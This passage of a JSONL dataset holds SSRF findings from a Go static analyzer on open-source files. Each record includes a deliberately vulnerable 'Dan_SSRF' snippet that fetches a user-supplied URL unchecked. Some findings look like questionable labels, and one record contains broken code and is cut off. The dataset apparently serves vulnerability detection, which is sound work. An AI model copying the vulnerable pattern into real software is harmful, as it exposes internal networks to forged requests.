shouldGatherQueue(queue Queue, serv *Server) bool {\n\tif len(serv.Queues) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, name := range serv.Queues {\n\t\tif name == queue.Name {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc init() {\n\tplugins.Add(\"rabbitmq\", func() plugins.Plugin {\n\t\treturn &RabbitMQ{}\n\t})\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 153, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 153, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 155, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "ba2e43080e0e8818ac0685df76cafc4c67309bc85f69397907dea731f465131d", "license": {"spdx": ["MIT"], "repo": "nguyendangminh/kong", "path": "kong.go", "repo_head_hexsha": "4cbd15296fac0fbca7a0fcace64850d0c14c9db3", "stack_hexsha": "ecc701a642ccfdb107e8988b75fcef59d9651e5d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 110, "entireCode": "package kong\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n)\n\ntype Kong struct {\n\tEndpoint string\n}\n\nconst (\n\tCreateConsumerPath string = \"/consumers/\"\n\tDeleteConsumerPath string = \"/consumers/\"\n\tCreateAPIKeyPath string = \"/consumers/\"\n)\n\n// NewKong constructs a new Kong client\n// endpoint: API endpoint of your Kong server\nfunc NewKong(endpoint string) *Kong {\n\tep := strings.TrimSpace(endpoint)\n\tep = strings.TrimSuffix(ep, \"/\")\n\treturn &Kong{Endpoint: ep}\n}\n\n// CreateConsumer creates a new API consumer\n// username: (semi-option) The username of the consumer. You must send either this field or custom_id with the request.\n// custom_id: (semi-option) Field for storing an existing ID for the consumer, useful for mapping Kong with users in your existing database. \n// You must send either username or custom_id with the request.\nfunc (k *Kong) CreateConsumer(username, custom_id string) (map[string]interface{}, error) {\n\tvar data = url.Values{}\n\tif username == \"\" && custom_id == \"\" {\n\t\treturn nil, ErrMissingParameter\n\t}\n\tif username != \"\" {\n\t\tdata.Add(\"username\", username)\n\t}\n\tif custom_id != \"\" {\n\t\tdata.Add(\"custom_id\", custom_id)\n\t}\n\n\tresp, err := k.post(CreateConsumerPath, data)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn nil, ErrCreateConsumerFailed\n\t}\n\n\tvar result map[string]interface{}\n\terr = json.Unmarshal(resp, &result)\n\tif err != nil {\n\t\tfmt.Println(err)\n return nil, ErrCreateConsumerFailed\n\t}\n\n\treturn result, nil\n}\n\n// DeleteConsumer deletes an existing API consumer\n// identifier: username or id, The unique identifier or the name of the consumer to delete\nfunc (k *Kong) DeleteConsumer(identifier string) error {\n\t_, err := k.delete(fmt.Sprintf(\"%s%s\", DeleteConsumerPath, identifier))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn ErrDeleteConsumerFailed\n\t}\n\treturn nil\n}\n\n// CreateAPIKey creates an API key for a customr\n// consumer: The id or username property of the Consumer entity to associate the credentials to.\nfunc (k *Kong) CreateAPIKey(consumer string) (map[string]interface{}, error) {\n\tpath := fmt.Sprintf(\"%s%s/key-auth\", CreateAPIKeyPath, consumer)\n\tfmt.Println(path)\n\tvar data = url.Values{}\n\tresp, err := k.post(path, data)\n\tif err != nil {\n\t\treturn nil, ErrCreateAPIKeyFailed\n\t}\n\n\tvar result map[string]interface{}\n\terr = json.Unmarshal(resp, &result)\n\tif err != nil {\n\t\treturn nil, ErrCreateAPIKeyFailed\n\t}\n\n\treturn result, nil\n}\n\nfunc (k *Kong) get(path string) ([]byte, error) {\n\treturn k.request(\"GET\", path, nil)\n}\n\nfunc (k *Kong) post(path string, data url.Values) ([]byte, error) {\n\treturn k.request(\"POST\", path, data)\n}\n\nfunc (k *Kong) delete(path string) ([]byte, error) {\n\treturn k.request(\"DELETE\", path, nil)\n}\n\nfunc (k *Kong) request(method string, path string, data url.Values) ([]byte, error) {\n\tvar resp *http.Response\n\tvar err error\n\tswitch method {\n\t\tcase \"GET\":\n\t\t\tresp, err = http.Get(fmt.Sprintf(\"%s%s\", k.Endpoint, path))\n\t\tcase \"POST\":\n\t\t\tresp, err = http.PostForm(fmt.Sprintf(\"%s%s\", k.Endpoint, path), data)\n\t\tcase \"DELETE\":\n\t\t\treq, err1 := http.NewRequest(\"DELETE\", fmt.Sprintf(\"%s%s\", k.Endpoint, path), nil)\n\t\t\tif err1 != nil {\n\t\t\t\treturn nil, err1\n\t\t\t}\n\t\t\tresp, err = http.DefaultClient.Do(req)\n\t\tdefault:\n\t\t\terr = ErrUnknowMedthod\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\td, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "110"}}, {"lineNo": 110, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 110, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "6c09ed43fa7f593734e279fa4a0807a6b5cbc19665ff50d6f2153f1358093ae2", "license": {"spdx": ["MIT"], "repo": "chayim/questrade", "path": "questrade.go", "repo_head_hexsha": "e41c0e3a80e5a24161fe5cacca56215678b6788c", "stack_hexsha": "d0598711a19c0a05d6d2c8115bb8c76ad6b70a83", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 12, "entireCode": "package questrade\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nfunc (qt Questrade) request(url string) ([]byte, error) {\n\tclient := &http.Client{}\n\tcomplete_url := fmt.Sprintf(\"%s%s\", qt.apiserver, url)\n\treq, _ := http.NewRequest(\"GET\", complete_url, nil)\n\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"Bearer %s\", qt.token))\n\treq.Header.Add(\"Content-type\", \"application/json\")\n\n\tresp, err := client.Do(req)\n\tdefer resp.Body.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode == 200 {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\n\t\treturn body, nil\n\t}\n\n\treq.Header.Del(\"Authorization\")\n\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"Bearer %s\", qt.token))\n\tresp, _ = client.Do(req)\n\tdefer resp.Body.Close()\n\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\treturn body, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 12, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "712b48773aaa6021217b7148a2825bbed8a9230c7e493409bc055efff4a7f0fd", "license": {"spdx": ["MIT"], "repo": "laher/toasties-galore", "path": "jafflr/client.go", "repo_head_hexsha": "1893754b7f641c977a0f11642fb6f21d8c582dbe", "stack_hexsha": "67b856f4e1e210912c1bba872e8ed0feaa26ff00", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 15, "entireCode": "package main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\ntype chillybinClient struct {\n\tbase string\n}\n\nfunc (c chillybinClient) pick(ingredient string, quantity int) error {\n\tresp, err := http.Get(fmt.Sprintf(\"%s/pick?name=%s&quantity=%d\", c.base, ingredient, quantity))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Printf(\"Could not retrieve ingredients from chilly bin - '%s'\", resp.Status)\n\t\treturn errors.New(\"Could not retrieve ingredients from chilly bin\")\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 15, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "3e74d64ecb1e237e014232c9ee4e5a2269de4aec4b4b803fcf4eb78cdcec94a0", "license": {"spdx": ["MIT"], "repo": "halink0803/tokenrate", "path": "coingecko/coingecko.go", "repo_head_hexsha": "65b9b5da6c5d14b1c161c74e27deb7c584bceef4", "stack_hexsha": "b520717bca2e26b4b476d72e18109eecd1f52f53", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 45, "entireCode": "package coingecko\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n)\n\n// CoinGecko is the CoinGecko implementation of Provider. The\n// precision of CoinGecko provider is up to day.\ntype CoinGecko struct {\n\tclient *http.Client\n\tbaseURL string\n}\n\n// New creates a new CoinGecko instance.\nfunc New() *CoinGecko {\n\tconst (\n\t\tdefaultTimeout = time.Second * 10\n\t\tbaseURL = \"https://api.coingecko.com/api/v3\"\n\t)\n\tclient := &http.Client{\n\t\tTimeout: defaultTimeout,\n\t}\n\treturn &CoinGecko{\n\t\tclient: client,\n\t\tbaseURL: baseURL,\n\t}\n}\n\ntype historyResponse struct {\n\tMarketData marketData `json:\"market_data\"`\n}\n\ntype marketData struct {\n\tCurrentPrice map[string]float64 `json:\"current_price\"`\n}\n\n// Rate returns the rate of given token in real world currency at given timestamp.\nfunc (cg *CoinGecko) Rate(token, currency string, timestamp time.Time) (float64, error) {\n\tconst timeLayout = \"02-01-2006\"\n\n\turl := fmt.Sprintf(\"%s/coins/%s/history\", cg.baseURL, token)\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tq := req.URL.Query()\n\tq.Add(\"date\", timestamp.UTC().Format(timeLayout))\n\treq.URL.RawQuery = q.Encode()\n\trsp, err := cg.client.Do(req)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer rsp.Body.Close()\n\n\tif rsp.StatusCode != http.StatusOK {\n\t\treturn 0, fmt.Errorf(\"unexpected status code: %s\", rsp.Status)\n\t}\n\n\tvar history = &historyResponse{}\n\tif err = json.NewDecoder(rsp.Body).Decode(history); err != nil {\n\t\treturn 0, err\n\t}\n\trate, ok := history.MarketData.CurrentPrice[currency]\n\tif !ok {\n\t\treturn 0, fmt.Errorf(\"currency %q not found in market data\", currency)\n\t}\n\treturn rate, nil\n}\n\n// USDRate returns the historical price of ETH.\nfunc (cg *CoinGecko) USDRate(timestamp time.Time) (float64, error) {\n\tconst (\n\t\tethereumID = \"ethereum\"\n\t\tusdID = \"usd\"\n\t)\n\treturn cg.Rate(ethereumID, usdID, timestamp)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "b3236af383eaa47142b841ef471f1c3a23273653ddf6361bc8799279f7d00f50", "license": {"spdx": ["MIT"], "repo": "jinycoo/jinygo", "path": "net/netutil/geoip/maxmind/db_reader.go", "repo_head_hexsha": "704524021e2c70102897af8f148bb543f1fadb21", "stack_hexsha": "f6d87c0747aa2ec8556b50cde29045c1b96cff99", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 52, "entireCode": "/**------------------------------------------------------------**\n * @filename maxmind/db_writer.go\n * @author jiny - \n * @version 1.0.0\n * @date 2020/11/6 12:22\n * @desc maxmind-db_writer - summary\n **------------------------------------------------------------**/\n\npackage maxmind\n\nimport (\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/jinycoo/jinygo/ctime\"\n\t\"github.com/jinycoo/jinygo/errors\"\n)\n\ntype Reader interface {\n\tGet(destination Writer, editionID string) error\n}\n\ntype HTTPDatabaseReader struct {\n\tclient *http.Client\n\tretryFor ctime.Duration\n\turl string\n\tlicenseKey string\n\taccountID int\n\tpreserveFileTimes bool\n\tverbose bool\n}\n\nfunc (reader *HTTPDatabaseReader) Get(destination Writer, editionID string) error {\n\tdefer func() {\n\t\tif err := destination.Close(); err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t}()\n\n\tmaxMindURL := fmt.Sprintf(\n\t\t\"%s/geoip/databases/%s/update?db_md5=%s\",\n\t\treader.url,\n\t\turl.PathEscape(editionID),\n\t\turl.QueryEscape(destination.GetHash()),\n\t)\n\n\treq, err := http.NewRequest(http.MethodGet, maxMindURL, nil) // nolint: noctx\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error creating request\")\n\t}\n\treq.SetBasicAuth(fmt.Sprintf(\"%d\", reader.accountID), reader.licenseKey)\n\n\tif reader.verbose {\n\t\tlog.Printf(\"Performing update request to %s\", maxMindURL)\n\t}\n\tresponse, err := MaybeRetryRequest(reader.client, time.Duration(reader.retryFor), req)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error performing HTTP request\")\n\t}\n\tdefer func() {\n\t\tif err := response.Body.Close(); err != nil {\n\t\t\tlog.Fatalf(\"Error closing response body: %+v\", errors.Wrap(err, \"closing body\"))\n\t\t}\n\t}()\n\n\tif response.StatusCode == http.StatusNotModified {\n\t\tif reader.verbose {\n\t\t\tlog.Printf(\"No new updates available for %s\", editionID)\n\t\t}\n\t\treturn nil\n\t}\n\n\tif response.StatusCode != http.StatusOK {\n\t\tbuf, err := io.ReadAll(io.LimitReader(response.Body, 256))\n\t\tif err == nil {\n\t\t\treturn errors.Errorf(\"unexpected HTTP status code: %s: %s\", response.Status, buf)\n\t\t}\n\t\treturn errors.Errorf(\"unexpected HTTP status code: %s\", response.Status)\n\t}\n\n\tgzReader, err := gzip.NewReader(response.Body)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"encountered an error creating GZIP reader\")\n\t}\n\tdefer func() {\n\t\tif err := gzReader.Close(); err != nil {\n\t\t\tlog.Printf(\"error closing gzip reader: %s\", err)\n\t\t}\n\t}()\n\n\tif _, err = io.Copy(destination, gzReader); err != nil { //nolint:gosec\n\t\treturn errors.Wrap(err, \"error writing response\")\n\t}\n\n\tnewMD5 := response.Header.Get(\"X-Database-MD5\")\n\tif newMD5 == \"\" {\n\t\treturn errors.New(\"no X-Database-MD5 header found\")\n\t}\n\tif err := destination.ValidHash(newMD5); err != nil {\n\t\treturn err\n\t}\n\n\tif err := destination.Commit(); err != nil {\n\t\treturn errors.Wrap(err, \"encountered an issue committing database update\")\n\t}\n\n\tif reader.preserveFileTimes {\n\t\tmodificationTime, err := lastModified(response.Header.Get(\"Last-Modified\"))\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to get last modified time\")\n\t\t}\n\t\terr = destination.SetFileModificationTime(modificationTime)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to set modification time\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc lastModified(lastModified string) (time.Time, error) {\n\tif lastModified == \"\" {\n\t\treturn time.Time{}, errors.New(\"no Last-Modified header found\")\n\t}\n\n\tt, err := time.ParseInLocation(time.RFC1123, lastModified, time.UTC)\n\tif err != nil {\n\t\treturn time.Time{}, errors.Wrap(err, \"error parsing time\")\n\t}\n\n\treturn t, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 52, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "1c12da12a0011a2769642b2886ede5baf89c727d552854276d4bf5777cfc5d03", "license": {"spdx": ["Apache-2.0"], "repo": "j-fuentes/jetstack-secure", "path": "pkg/client/client_oauth.go", "repo_head_hexsha": "3ceb40f5134ad29f16975b5b59581eef2df9d0ba", "stack_hexsha": "804a9e4150fa164c651715e189ea75239b3ef0f9", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 146, "entireCode": "package client\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/jetstack/preflight/api\"\n\t\"github.com/juju/errors\"\n)\n\ntype (\n\t// The OAuthClient type is a Client implementation used to upload data readings to the Jetstack Secure platform\n\t// using OAuth as its authentication method.\n\tOAuthClient struct {\n\t\tcredentials *Credentials\n\t\taccessToken *accessToken\n\t\tbaseURL string\n\t\tagentMetadata *api.AgentMetadata\n\t\tclient *http.Client\n\t}\n\n\taccessToken struct {\n\t\tbearer string\n\t\texpirationDate time.Time\n\t}\n)\n\nfunc (t *accessToken) needsRenew() bool {\n\treturn t.bearer == \"\" || time.Now().After(t.expirationDate)\n}\n\n// NewOAuthClient returns a new instance of the OAuthClient type that will perform HTTP requests using OAuth to provide\n// authentication tokens to the backend API.\nfunc NewOAuthClient(agentMetadata *api.AgentMetadata, credentials *Credentials, baseURL string) (*OAuthClient, error) {\n\tif err := credentials.validate(); err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot create OAuthClient: %v\", err)\n\t}\n\tif baseURL == \"\" {\n\t\treturn nil, fmt.Errorf(\"cannot create OAuthClient: baseURL cannot be empty\")\n\t}\n\n\tif !credentials.IsClientSet() {\n\t\tcredentials.ClientID = ClientID\n\t\tcredentials.ClientSecret = ClientSecret\n\t\tcredentials.AuthServerDomain = AuthServerDomain\n\t}\n\n\tif !credentials.IsClientSet() {\n\t\treturn nil, fmt.Errorf(\"cannot create OAuthClient: invalid OAuth2 client configuration\")\n\t}\n\n\treturn &OAuthClient{\n\t\tagentMetadata: agentMetadata,\n\t\tcredentials: credentials,\n\t\tbaseURL: baseURL,\n\t\taccessToken: &accessToken{},\n\t\tclient: &http.Client{Timeout: time.Minute},\n\t}, nil\n}\n\n// PostDataReadings uploads the slice of api.DataReading to the Jetstack Secure backend to be processed for later\n// viewing in the user-interface.\nfunc (c *OAuthClient) PostDataReadings(orgID, clusterID string, readings []*api.DataReading) error {\n\tpayload := api.DataReadingsPost{\n\t\tAgentMetadata: c.agentMetadata,\n\t\tDataGatherTime: time.Now().UTC(),\n\t\tDataReadings: readings,\n\t}\n\tdata, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres, err := c.Post(filepath.Join(\"/api/v1/org\", orgID, \"datareadings\", clusterID), bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif code := res.StatusCode; code < 200 || code >= 300 {\n\t\terrorContent := \"\"\n\t\tbody, err := ioutil.ReadAll(res.Body)\n\t\tif err == nil {\n\t\t\terrorContent = string(body)\n\t\t}\n\n\t\treturn fmt.Errorf(\"received response with status code %d. Body: %s\", code, errorContent)\n\t}\n\n\treturn nil\n}\n\n// Post performs an HTTP POST request.\nfunc (c *OAuthClient) Post(path string, body io.Reader) (*http.Response, error) {\n\ttoken, err := c.getValidAccessToken()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost, fullURL(c.baseURL, path), body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tif len(token.bearer) > 0 {\n\t\treq.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", token.bearer))\n\t}\n\n\treturn c.client.Do(req)\n}\n\n// getValidAccessToken returns a valid access token. It will fetch a new access\n// token from the auth server in case the current access token does not exist\n// or it is expired.\nfunc (c *OAuthClient) getValidAccessToken() (*accessToken, error) {\n\tif c.accessToken.needsRenew() {\n\t\terr := c.renewAccessToken()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn c.accessToken, nil\n}\n\nfunc (c *OAuthClient) renewAccessToken() error {\n\ttokenURL := fmt.Sprintf(\"https://%s/oauth/token\", c.credentials.AuthServerDomain)\n\taudience := \"https://preflight.jetstack.io/api/v1\"\n\tpayload := url.Values{}\n\tpayload.Set(\"grant_type\", \"password\")\n\tpayload.Set(\"client_id\", c.credentials.ClientID)\n\tpayload.Set(\"client_secret\", c.credentials.ClientSecret)\n\tpayload.Set(\"audience\", audience)\n\tpayload.Set(\"username\", c.credentials.UserID)\n\tpayload.Set(\"password\", )\n\treq, err := http.NewRequest(\"POST\", tokenURL, strings.NewReader(payload.Encode()))\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\treq.Header.Add(\"content-type\", \"application/x-www-form-urlencoded\")\n\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil 